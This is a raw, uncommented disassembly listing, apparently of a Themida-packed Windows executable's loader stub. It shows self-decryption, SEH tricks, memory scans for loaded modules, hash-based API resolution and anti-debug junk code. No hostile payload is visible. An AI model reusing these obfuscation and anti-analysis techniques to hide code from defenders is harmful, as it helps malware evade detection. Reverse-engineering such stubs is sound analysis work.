dd 0FE800000h, 12h, 3 dup(0)
dd 0D1D20000h, 5Eh, 0EBFB0000h, 36h, 0
dd 39D20000h, 58h, 5 dup(0)
dd 10000h, 640000h, 0ADE70000h, 2 dup(0)
dd 0A00000h, 2 dup(0)
dd 34410000h, 0F85Eh, 3 dup(0)
dd 32830000h, 3EFAh, 0
dd 0E27D0000h, 7E1h, 4 dup(0)
dd 24240000h, 2424h, 10000h, 0
dd 0C8C0000h, 5Ch, 3 dup(0)
dd 2130000h, 0B7h, 3 dup(0)
dd 56DE0000h, 1005Ch, 0F9200000h, 7CEDh, 87D80000h, 61B7FFA0h
dd 19h dup(0)
dd 0FA030000h, 0B1h, 5 dup(0)
dd 0DC0000h, 5 dup(0)
dd 7F5D0000h, 3259h, 0A2800000h, 2 dup(0)
dd 10000h, 4 dup(0)
dd 8C0000h, 0CB070000h, 91C5h, 0FFFF0000h, 0FFFFh, 6DD40000h
dd 58EF025Ch, 333300B8h, 2 dup(33333333h), 3333h, 3 dup(0)
dd 146C0000h, 836Fh, 0
dd 0FFC40000h, 27E20012h, 0FFB3h, 54170000h, 0EB010129h
dd 13F2Bh, 0DEF60000h, 0BA1C9CDAh, 5Fh, 5 dup(0)
dd 0C2E0000h, 4 dup(0)
dd 230000h, 5Dh, 4 dup(0)
dd 17900000h, 0E81476F2h, 5Ch, 2 dup(0)
dd 3E0000h, 0B1h, 0Bh dup(0)
dd 0EB940000h, 0A257C90h, 0FF7D00B1h, 737307E1h, 58h, 2 dup(0)
dd 0EAFF0000h, 5Dh, 8 dup(0)
dd 94170000h, 0B1h, 840000h, 0
dd 0B5080000h, 0B1h, 4 dup(0)
dd 10440000h, 30h, 6 dup(0)
dd 75CD0000h, 0B4AD106Dh, 57B31E28h, 5697h, 2 dup(0)
dd 0EFBF0000h, 5Bh, 0Bh dup(0)
dd 0D3AB0000h, 4070005Bh, 5Fh, 39D20000h, 58h, 4 dup(0)
dd 6C0000h, 0
dd 0B5D60000h, 2 dup(0)
dd 0DEDD0000h, 2000F0FFh, 3 dup(0)
dd 4A5D0000h, 3DDFh, 0
dd 94170000h, 0B1h, 5 dup(0)
dd 91780000h, 3A4300B6h, 4E49575Ch, 53574F44h, 7379735Ch
dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
dd 285C0000h, 0FFFFh, 8 dup(0)
dd 20000h, 6 dup(0)
dd 40C10000h, 0EB947DD0h, 0EFAE7C90h, 1620005Dh, 2 dup(0)
dd 6BF50000h, 0F66Ch, 0
dd 0E240000h, 575200B1h, 0B64005Bh, 5Ch, 0E8080000h, 0A698h
dd 0
dd 9A830000h, 4E73h, 7 dup(0)
dd 0FA030000h, 0B1h, 0AED70000h, 5C66h, 30DF0000h, 0A9C5h
dd 2 dup(0)
dd 370B0000h, 993h, 0
dd 434F0000h, 0FFFFh, 7 dup(0)
dd 72C80000h, 8 dup(0)
dd 8F680293h, 0FFFFh, 13h dup(0)
dd 6BCC0000h, 5Dh, 0
dd 146C0000h, 836Fh, 13h dup(0)
dd 39D0000h, 8D8D21BBh, 5328h, 0
dd 6E0F0000h, 25Ch, 0B5FE0000h, 0B1h, 0FB130000h, 7C90h
dd 2 dup(0)
dd 300F0000h, 5Dh, 2 dup(0)
dd 56D0000h, 7C91h, 30h dup(0)
dd 0E9090000h, 743757h, 0ED20000h, 5Ch, 6 dup(0)
dd 0E4DD0000h, 0B7E4h, 9E8B0000h, 0BC40005Bh, 9B09h, 9 dup(0)
dd 10000h, 0EE180000h, 7C90h, 0DB800000h, 36360060h, 3636h
dd 0BD8A0000h, 0DF7Ah, 10h dup(0)
dd 0A2400000h, 0FFFFh, 0FF7D0000h, 7E1h, 832C0000h, 0BB19h
dd 0Ch dup(0)
dd 4CE80000h, 5Fh, 28080000h, 0EB9400B1h, 54177C90h, 129h
dd 0A37B0000h, 8D20FFA0h, 0B1h, 3 dup(0)
dd 0EE370000h, 0C47E77DDh, 15EDh, 0
dd 32830000h, 3EFAh, 5 dup(0)
dd 88590000h, 5811h, 0ED9A0000h, 5Bh, 0BD210000h, 11DF42FFh
dd 5FBEh, 0
dd 10000h, 2 dup(0)
dd 93860000h, 1290022Ch, 76F2h, 5 dup(0)
dd 0D7F00000h, 0EB94005Ch, 7C7C90h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_58698A: ; CODE XREF: start:loc_583441j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7FA3553h
mov [ebp+7FA2DB1h], edx
mov [ebp+7FA32C5h], esi
mov [ebp+7FA1DD5h], eax
cmp dword ptr [ebp+7FA0671h], 0
jz short loc_5869C2
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_5869C2: ; CODE XREF: start+719A0j
mov eax, [esp+40h+var_1C]
mov [ebp+7FA2B45h], eax
push 45h
call sub_586A76
push 783749Ah
call sub_586ABC
push 0A894B25h
call sub_586ABC
jmp loc_586C00
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_586A76 proc near ; CODE XREF: start+719BAp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 7FA3641h
mov ebx, edx
mov [ebp+var_28], 0
loc_586A92: ; CODE XREF: sub_586A76+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_586AB1
mov eax, [ebp+arg_0]
mov [ebx+7FA35ABh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_586A92
; ---------------------------------------------------------------------------
loc_586AB1: ; CODE XREF: sub_586A76+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_586A76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_586ABC proc near ; CODE XREF: start+719C4p start+719CEp
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 7FA368Ah
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_586AE2: ; CODE XREF: sub_586ABC+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_586AE2
mov [ebp+var_84], 0
lea edi, [edx+7FA35ABh]
lea esi, [ebp+var_80]
loc_586B12: ; CODE XREF: sub_586ABC+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_586B1E: ; CODE XREF: sub_586ABC+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_586B1E
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_586B12
popa
leave
retn 4
sub_586ABC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_586B5C
; ---------------------------------------------------------------------------
loc_586B58: ; CODE XREF: Themida_:00586B5Fj
inc dword ptr [ebp-4]
inc esi
loc_586B5C: ; CODE XREF: Themida_:00586B56j
cmp byte ptr [esi], 0
jnz short loc_586B58
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_586BED
; ---------------------------------------------------------------------------
loc_586B6E: ; CODE XREF: Themida_:00586BF0j
mov dword ptr [ebp-8], 0
jmp short loc_586BE4
; ---------------------------------------------------------------------------
loc_586B77: ; CODE XREF: Themida_:00586BE8j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_586BD1
; ---------------------------------------------------------------------------
loc_586B87: ; CODE XREF: Themida_:00586BD5j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_586BA9
cmp bl, 39h
ja short loc_586BA9
sub bl, 30h
jmp short loc_586BCB
; ---------------------------------------------------------------------------
loc_586BA9: ; CODE XREF: Themida_:00586B9Dj
; Themida_:00586BA2j
cmp bl, 61h
jb short loc_586BBB
cmp bl, 66h
ja short loc_586BBB
sub bl, 61h
add bl, 0Ah
jmp short loc_586BCB
; ---------------------------------------------------------------------------
loc_586BBB: ; CODE XREF: Themida_:00586BACj
; Themida_:00586BB1j
cmp bl, 41h
jb short loc_586BCB
cmp bl, 46h
ja short loc_586BCB
sub bl, 41h
add bl, 0Ah
loc_586BCB: ; CODE XREF: Themida_:00586BA7j
; Themida_:00586BB9j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_586BD1: ; CODE XREF: Themida_:00586B85j
cmp dword ptr [ebp-0Ch], 2
jb short loc_586B87
cmp dword ptr [ebp-10h], 0
jbe short loc_586BE1
mov eax, [ebp-10h]
stosb
loc_586BE1: ; CODE XREF: Themida_:00586BDBj
inc dword ptr [ebp-8]
loc_586BE4: ; CODE XREF: Themida_:00586B75j
cmp dword ptr [ebp-8], 2
jb short loc_586B77
add edx, 4
loc_586BED: ; CODE XREF: Themida_:00586B6Cj
cmp edx, [ebp-4]
jb loc_586B6E
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_586C00: ; CODE XREF: start+719D3j
mov ecx, 7000h
lea edi, [ebp+7FA37D0h]
loc_586C0B: ; CODE XREF: start+71BFBj
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_586C0B
mov eax, 48692121h
mov edx, 0F0115000h
sub edx, 0F0000000h
lea eax, [ebp+7FA38C3h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
movzx ebx, ax
mov bl, 0CEh
push ecx
sbb ebx, 4024711Bh
pop ebx
adc ebx, 2C8DD295h
sub eax, edx
push 0
push ebp
call sub_586C5C
and [ebp-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_586C5C proc near ; CODE XREF: start+71C40p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_586C5C endp
; ---------------------------------------------------------------------------
dd 256DED50h, 0FFFFF000h, 8BDABF0Fh, 66FF33CAh, 5A4D3881h
dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h, 10002Dh
dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 7FA38D6h
dd 35FF6452h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_586CD2
mov esi, [eax+1Ch]
loc_586CD2: ; CODE XREF: Themida_:00586CCDj
xor eax, eax
loc_586CD4: ; CODE XREF: Themida_:00586CE7j
cmp eax, 32h
jz short loc_586CF8
cmp word ptr [esi], 5A4Dh
jz short loc_586CE9
loc_586CE0: ; CODE XREF: Themida_:00586CF6j
sub esi, 10000h
inc eax
jmp short loc_586CD4
; ---------------------------------------------------------------------------
loc_586CE9: ; CODE XREF: Themida_:00586CDEj
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_586D3A
jmp short loc_586CE0
; ---------------------------------------------------------------------------
loc_586CF8: ; CODE XREF: Themida_:00586CD7j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 7FA38E1h
lea eax, [ebp+7FA389Fh]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_586D3A: ; CODE XREF: Themida_:00586CF4j
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
jnp loc_586D4E
movsx ebx, si
loc_586D4E: ; CODE XREF: Themida_:00586D45j
mov ebx, eax
mov cx, ds
push 0
push eax
call sub_586D5E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586D5E proc near ; CODE XREF: Themida_:00586D56p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_586D5E endp
; ---------------------------------------------------------------------------
push edx
xchg bl, al
sub eax, 3A9F5D9Bh
or bx, 59DEh
jle loc_586D98
jmp loc_586D98
; ---------------------------------------------------------------------------
icebp
xor byte ptr [edi-7Ah], 6Bh
mov [eax+21h], ecx
db 26h
retf
; ---------------------------------------------------------------------------
dd 2C900B02h, 0C3F21EE5h
; ---------------------------------------------------------------------------
loc_586D98: ; CODE XREF: Themida_:00586D7Bj
; Themida_:00586D81j
add bx, 0D4D0h
and cl, 4
pusha
jg loc_586DA8
cmc
loc_586DA8: ; CODE XREF: Themida_:00586DA1j
jnb loc_586DB1
movzx ecx, cx
loc_586DB1: ; CODE XREF: Themida_:loc_586DA8j
popa
or cl, cl
jnz loc_586E09
mov bx, 134Fh
mov dword ptr [ebp+7FA33EDh], 1
mov bh, cl
or ebx, 0CC77BD7h
jmp loc_586E18
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_586DE0
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586DE0 proc near ; CODE XREF: Themida_:00586DD8p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_586DE0 endp
; ---------------------------------------------------------------------------
dd 0DE8730A9h, 93B83829h, 810F13DBh, 9, 38F0Fh, 8B660000h
db 0D9h
; ---------------------------------------------------------------------------
loc_586E09: ; CODE XREF: Themida_:00586DB4j
mov dword ptr [ebp+7FA33EDh], 0
pusha
sub bh, 38h
popa
loc_586E18: ; CODE XREF: Themida_:00586DD0j
mov [ebp+7FA08A5h], eax
push 0
push esi
call sub_586E29
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586E29 proc near ; CODE XREF: Themida_:00586E21p
; sub_586E51+3Bj
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_586E29 endp
; ---------------------------------------------------------------------------
ja short near ptr loc_586E67+1
add bh, 5Ah
mov bh, ch
mov [ebp+7FA2095h], eax
call sub_586E51
dec edi
aas
push ebx
wait
dec ebx
nop
; =============== S U B R O U T I N E =======================================
sub_586E51 proc near ; CODE XREF: Themida_:00586E46p
var_20 = dword ptr -20h
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
pop edx
jmp loc_586E5E
; ---------------------------------------------------------------------------
db 3
dd 9639EEEDh
db 6Fh, 8Fh
; ---------------------------------------------------------------------------
loc_586E5E: ; CODE XREF: sub_586E51+1j
add edx, 6AB4h
mov cx, bx
loc_586E67: ; CODE XREF: Themida_:00586E39j
mov ebx, 1A81h
xor di, 0CB35h
loc_586E71: ; CODE XREF: sub_586E51+8Bj
push dword ptr [edx]
stc
pop eax
jmp loc_586E8E
; ---------------------------------------------------------------------------
dw 0A6B4h
dd 5B28F816h, 3A2FEAE1h, 6043E021h, 0F2CC6942h
; ---------------------------------------------------------------------------
jns short sub_586E29
loc_586E8E: ; CODE XREF: sub_586E51+24j
add eax, 6C5B33C3h
mov ecx, 5871C0D3h
xor eax, 3CDC9E3Ch
jmp loc_586EB7
; ---------------------------------------------------------------------------
jmp short loc_586EAD
; ---------------------------------------------------------------------------
dw 9665h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 6Fh, 52h, 0C8h
db 13h
; ---------------------------------------------------------------------------
loc_586EAD: ; CODE XREF: sub_586E51+53j
aad 45h
das
out dx, eax
; ---------------------------------------------------------------------------
db 0FFh, 79h, 0EEh
db 0CDh, 5Fh, 75h
; ---------------------------------------------------------------------------
loc_586EB7: ; CODE XREF: sub_586E51+4Ej
add eax, 5FEFA9C4h
jmp loc_586ED3
; ---------------------------------------------------------------------------
dw 262Bh
dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh
db 17h, 5Eh, 2Bh
; ---------------------------------------------------------------------------
loc_586ED3: ; CODE XREF: sub_586E51+6Cj
push eax
pop dword ptr [edx]
sub edx, 4
push edx
pop edi
dec ebx
jnz loc_586E71
pusha
jmp loc_586EFC
; ---------------------------------------------------------------------------
dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh
; ---------------------------------------------------------------------------
loc_586EFC: ; CODE XREF: sub_586E51+92j
mov eax, ebx
popa
jmp short loc_586F05
; ---------------------------------------------------------------------------
db 1Bh, 2, 0
db 0
; ---------------------------------------------------------------------------
loc_586F05: ; CODE XREF: sub_586E51+AEj
jmp loc_58757C
; ---------------------------------------------------------------------------
jmp loc_586F23
; ---------------------------------------------------------------------------
db 0E2h
dd 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h
db 0C7h, 62h, 89h
; ---------------------------------------------------------------------------
loc_586F23: ; CODE XREF: sub_586E51+B9j
pusha
mov [ebp+7FA0549h], esi
sub eax, eax
jmp loc_586F3D
; ---------------------------------------------------------------------------
db 22h, 2, 3Ch
dd 85D46F95h, 2109C451h
db 15h
; ---------------------------------------------------------------------------
loc_586F3D: ; CODE XREF: sub_586E51+DBj
mov edx, [esp+1Ch+arg_8]
mov [ebp+7FA0F69h], ecx
mov [ebp+7FA154Dh], eax
mov [ebp+7FA0E1Dh], eax
mov esi, 3Ch
sub [ebp+7FA241Dh], ebx
add esi, [esp+1Ch+arg_4]
sub [ebp+7FA33B5h], ecx
mov [ebp+7FA1739h], esi
lodsw
jmp loc_586F7A
; ---------------------------------------------------------------------------
db 20h, 7Eh, 0EAh
db 36h, 87h
; ---------------------------------------------------------------------------
loc_586F7A: ; CODE XREF: sub_586E51+11Fj
add eax, [esp+1Ch+arg_4]
jg loc_586F8E
pusha
jp $+6
pusha
popa
popa
loc_586F8E: ; CODE XREF: sub_586E51+12Dj
push eax
jl loc_586FA6
jmp loc_586FA6
; ---------------------------------------------------------------------------
dw 0BF16h
dd 12BED2Eh, 876F5EB3h
; ---------------------------------------------------------------------------
cmpsd
retn
; ---------------------------------------------------------------------------
loc_586FA6: ; CODE XREF: sub_586E51+13Ej
; sub_586E51+144j
mov [esp+20h+var_20], eax
jmp loc_586FB8
; ---------------------------------------------------------------------------
dw 7076h
dd 0EA24AA15h, 0F190454h
; ---------------------------------------------------------------------------
loc_586FB8: ; CODE XREF: sub_586E51+158j
mov eax, [eax+78h]
sub [ebp+7FA33C1h], ecx
jl loc_586FCF
jb loc_586FCF
pusha
popa
loc_586FCF: ; CODE XREF: sub_586E51+170j
; sub_586E51+176j
add eax, [esp+20h+arg_4]
jmp loc_586FDD
; ---------------------------------------------------------------------------
dd 0AE31BB95h
db 3Eh
; ---------------------------------------------------------------------------
loc_586FDD: ; CODE XREF: sub_586E51+182j
mov eax, [eax+18h]
stc
inc eax
or [ebp+7FA2A2Dh], edi
pusha
push edi
mov eax, 6E7B1EABh
pop ebx
movzx eax, dx
popa
mov [ebp+7FA3AC0h], eax
jmp loc_58700B
; ---------------------------------------------------------------------------
db 67h
dd 0AA48EC4Bh, 933E2379h
; ---------------------------------------------------------------------------
add [ebx+76h], ecx
loc_58700B: ; CODE XREF: sub_586E51+1A9j
pop eax
pusha
mov si, cx
mov bx, 4820h
popa
cmc
mov esi, [eax+78h]
pusha
mov [ebp+7FA2491h], edx
push edx
mov di, 0D191h
pop ecx
popa
add esi, 1Ch
sub [ebp+7FA1E3Dh], esi
add esi, [esp+1Ch+arg_4]
pusha
jge loc_58703D
push edx
pop ecx
loc_58703D: ; CODE XREF: sub_586E51+1E4j
mov bx, 0B37h
popa
jmp loc_58704F
; ---------------------------------------------------------------------------
db 6Fh
dd 630709A2h
db 85h, 36h, 0C8h
; ---------------------------------------------------------------------------
loc_58704F: ; CODE XREF: sub_586E51+1F1j
lea edi, [ebp+7FA0F71h]
jns loc_587061
sub [ebp+7FA2631h], ecx
loc_587061: ; CODE XREF: sub_586E51+204j
lodsd
stc
add eax, [esp+1Ch+arg_4]
mov [ebp+7FA33F9h], ebx
stosd
jmp loc_587080
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
mov ebx, 7524CBB0h
mov eax, [edx+32h]
mov [ecx+0Ah], eax
xchg eax, ebp
loc_587080: ; CODE XREF: sub_586E51+21Dj
lea edi, [ebp+7FA275Dh]
sub [ebp+7FA338Dh], ebx
lodsd
jmp loc_587099
; ---------------------------------------------------------------------------
dw 0CD66h
dd 0CB314EE7h
; ---------------------------------------------------------------------------
pop ss
loc_587099: ; CODE XREF: sub_586E51+23Cj
add eax, [esp+18h+arg_8]
mov [ebp+7FA2BC1h], ecx
push eax
jge loc_5870C6
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
jmp loc_5870C4
; ---------------------------------------------------------------------------
db 5Dh, 8Ch, 9Fh
dd 937E7B53h, 412C6C41h
; ---------------------------------------------------------------------------
loc_5870C4: ; CODE XREF: sub_586E51+263j
pop edx
pop eax
loc_5870C6: ; CODE XREF: sub_586E51+253j
mov [esp+0], eax
cmc
stosd
pusha
or [ebp+7FA0559h], ebx
jg loc_5870DC
mov di, 0DBCBh
loc_5870DC: ; CODE XREF: sub_586E51+281j
popa
lea edi, [ebp+7FA27D5h]
sub [ebp+7FA168Dh], ecx
lodsd
jmp loc_5870FD
; ---------------------------------------------------------------------------
db 7Bh
dd 277EA77Ch, 0B5FD8353h, 0F494A953h
; ---------------------------------------------------------------------------
pop esp
loc_5870FD: ; CODE XREF: sub_586E51+299j
add eax, [esp+28h]
pusha
clc
jmp loc_587111
; ---------------------------------------------------------------------------
dd 0EFF3B9B2h, 64F17773h
db 3
; ---------------------------------------------------------------------------
loc_587111: ; CODE XREF: sub_586E51+2B2j
popa
pusha
movsx ebx, cx
push edi
mov ebx, esi
pop esi
popa
stosd
jnb loc_587128
mov [ebp+7FA0B7Dh], eax
loc_587128: ; CODE XREF: sub_586E51+2CBj
pop esi
sub [ebp+7FA1C31h], ecx
loc_58712F: ; CODE XREF: sub_586E51+36Aj
dec dword ptr [ebp+7FA3AC0h]
cmp dword ptr [ebp+7FA3AC0h], 0
jnz short loc_58714E
mov [esp+14h+arg_4], 0
lea esi, [ebp+7FA3F1Eh]
jmp esi
; ---------------------------------------------------------------------------
loc_58714E: ; CODE XREF: sub_586E51+2EBj
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+7FA0665h]
test al, al
jz short loc_587165
cmp al, [edi]
jnz short loc_5871B1
loc_587165: ; CODE XREF: sub_586E51+30Ej
push edi
xor al, al
loc_587168: ; CODE XREF: sub_586E51+318j
scasb
jnz short loc_587168
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_587175: ; CODE XREF: sub_586E51+34Dj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_587184: ; CODE XREF: sub_586E51+346j
shr bx, 1
rcr ax, 1
jnb short loc_587195
xor ax, 5041h
xor bx, 5449h
loc_587195: ; CODE XREF: sub_586E51+339j
dec dh
jnz short loc_587184
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_587175
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_5871C0
loc_5871B1: ; CODE XREF: sub_586E51+312j
pop esi
add esi, 4
inc dword ptr [ebp+7FA154Dh]
jmp loc_58712F
; ---------------------------------------------------------------------------
loc_5871C0: ; CODE XREF: sub_586E51+35Ej
pop esi
mov [ebp+7FA21A5h], edx
mov [ebp+7FA0C91h], ecx
jle loc_5871D4
clc
loc_5871D4: ; CODE XREF: sub_586E51+37Cj
mov eax, [ebp+7FA154Dh]
xor [ebp+7FA338Dh], ecx
jmp loc_5871ED
; ---------------------------------------------------------------------------
mov ecx, 82EED422h
fidivr word ptr [esi+18h]
loc_5871ED: ; CODE XREF: sub_586E51+38Fj
shl eax, 1
clc
add eax, [ebp+7FA27D5h]
cld
sub esi, esi
jmp loc_58720D
; ---------------------------------------------------------------------------
dw 0B970h
dd 222CF7A1h, 33D549C9h, 9938C01Ch
db 15h
; ---------------------------------------------------------------------------
loc_58720D: ; CODE XREF: sub_586E51+3A8j
xchg eax, esi
cmc
lodsw
jmp loc_587223
; ---------------------------------------------------------------------------
dw 6CD5h
dd 825A1560h, 0B67AF512h
; ---------------------------------------------------------------------------
add bl, es:[eax]
loc_587223: ; CODE XREF: sub_586E51+3C0j
shl eax, 2
jge loc_587232
mov [ebp+7FA2305h], edi
loc_587232: ; CODE XREF: sub_586E51+3D5j
add eax, [ebp+7FA0F71h]
jnz loc_58724B
jmp loc_58724B
; ---------------------------------------------------------------------------
loc_587243: ; CODE XREF: sub_586E51:loc_587243j
jno short loc_587243
lahf
xchg eax, ebp
adc al, 0D2h
popa
loc_58724B: ; CODE XREF: sub_586E51+3E7j
; sub_586E51+3EDj
sub [ebp+7FA1895h], eax
xchg eax, esi
cld
lodsd
cmc
mov ecx, [esp+24h]
clc
add eax, [esp+24h]
jo loc_58726A
pusha
sbb dh, 77h
stc
popa
loc_58726A: ; CODE XREF: sub_586E51+40Dj
mov [esp+1Ch], eax
mov [ebp+7FA1095h], ecx
xchg eax, esi
sub [ebp+7FA0F01h], esi
lodsb
mov [ebp+7FA1F4Dh], edi
xor cl, cl
mov [ebp+7FA0D15h], edx
inc cl
pusha
mov esi, [ebp+7FA2EB9h]
popa
jp loc_5872A8
loc_58729A: ; CODE XREF: sub_586E51+4C5j
pusha
jnp $+6
mov edi, [ebp+7FA1EB9h]
popa
loc_5872A8: ; CODE XREF: sub_586E51+443j
; sub_586E51+4A7j
rcl al, 1
jnb loc_58735F
mov [ebp+7FA0AE5h], ebx
rcl al, 1
jnb loc_58735F
jz loc_5872CA
mov [ebp+7FA3105h], ecx
loc_5872CA: ; CODE XREF: sub_586E51+46Dj
cld
rcl al, 1
jb loc_58735F
add [ebp+7FA0B71h], ecx
rcl al, 1
jb loc_58735F
jmp loc_5872F6
; ---------------------------------------------------------------------------
dw 4242h
dd 0DFAD6283h, 93FE1D63h, 4B303DC1h
db 57h, 24h
; ---------------------------------------------------------------------------
loc_5872F6: ; CODE XREF: sub_586E51+490j
dec cl
jns loc_5872A8
sub [ebp+7FA2F39h], ecx
add esp, 20h
jmp loc_587319
; ---------------------------------------------------------------------------
xchg esp, [esi+28h]
test eax, 24101CA3h
fsubr st, st(3)
jns short loc_58729A
scasd
loc_587319: ; CODE XREF: sub_586E51+4B6j
mov dword ptr [esp-4], 0
jmp loc_587333
; ---------------------------------------------------------------------------
dw 9843h
dd 77E9CDA8h, 11740817h
db 3Ch, 32h, 0B3h
; ---------------------------------------------------------------------------
loc_587333: ; CODE XREF: sub_586E51+4D0j
mov eax, 1
mov [ebp+7FA25D1h], ebx
lea ecx, [ebp+7FA72FBh]
pusha
jmp loc_587355
; ---------------------------------------------------------------------------
dw 0EE11h
dd 0E1219D75h, 1FB95670h
db 69h
; ---------------------------------------------------------------------------
loc_587355: ; CODE XREF: sub_586E51+4F4j
stc
popa
jmp ecx
; ---------------------------------------------------------------------------
mov [ebp+7FA1DBDh], edx
loc_58735F: ; CODE XREF: sub_586E51+459j
; sub_586E51+467j ...
mov byte ptr [ebp+7FA0665h], 0
cmc
cmc
popa
cmc
retn 8
; ---------------------------------------------------------------------------
db 9, 8Dh, 0A9h
dd 9607FA0Eh, 0A830Fh, 0B2600000h, 0F525073h, 61585A31h
dd 10890F50h, 0E9000000h, 0Bh, 0AF032449h, 0E0A3CDEAh
dd 960358B5h, 158D89h, 0B58907FAh, 7FA4105h, 0C8C0Fh, 890F0000h
dd 6, 8859D89h, 11E907FAh, 0F2000000h, 163E5C69h, 0DBEF8B80h
dd 0B3B3E47Fh, 9B002FD0h, 41208D89h, 9D8907FAh, 7FA266Dh
dd 3FE4B58Dh, 896007FAh, 0FA15499Dh, 8D61F507h, 5B8EA185h
dd 299D0100h, 0FF07FA29h, 958B60D0h, 7FA18E9h, 143F88B8h
dd 0E95E6108h, 0Ch, 3B2BEF9Bh, 0BEE73D4Eh, 43840C5Eh, 6830FC3h
dd 89000000h, 0FA2AE195h, 5B58B07h, 907FA41h, 0FA0DAD85h
dd 208D8B07h, 0E907FA41h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h
dd 529DACC7h, 0B8411Eh, 60000000h, 61CF8B66h, 0BD89D98Bh
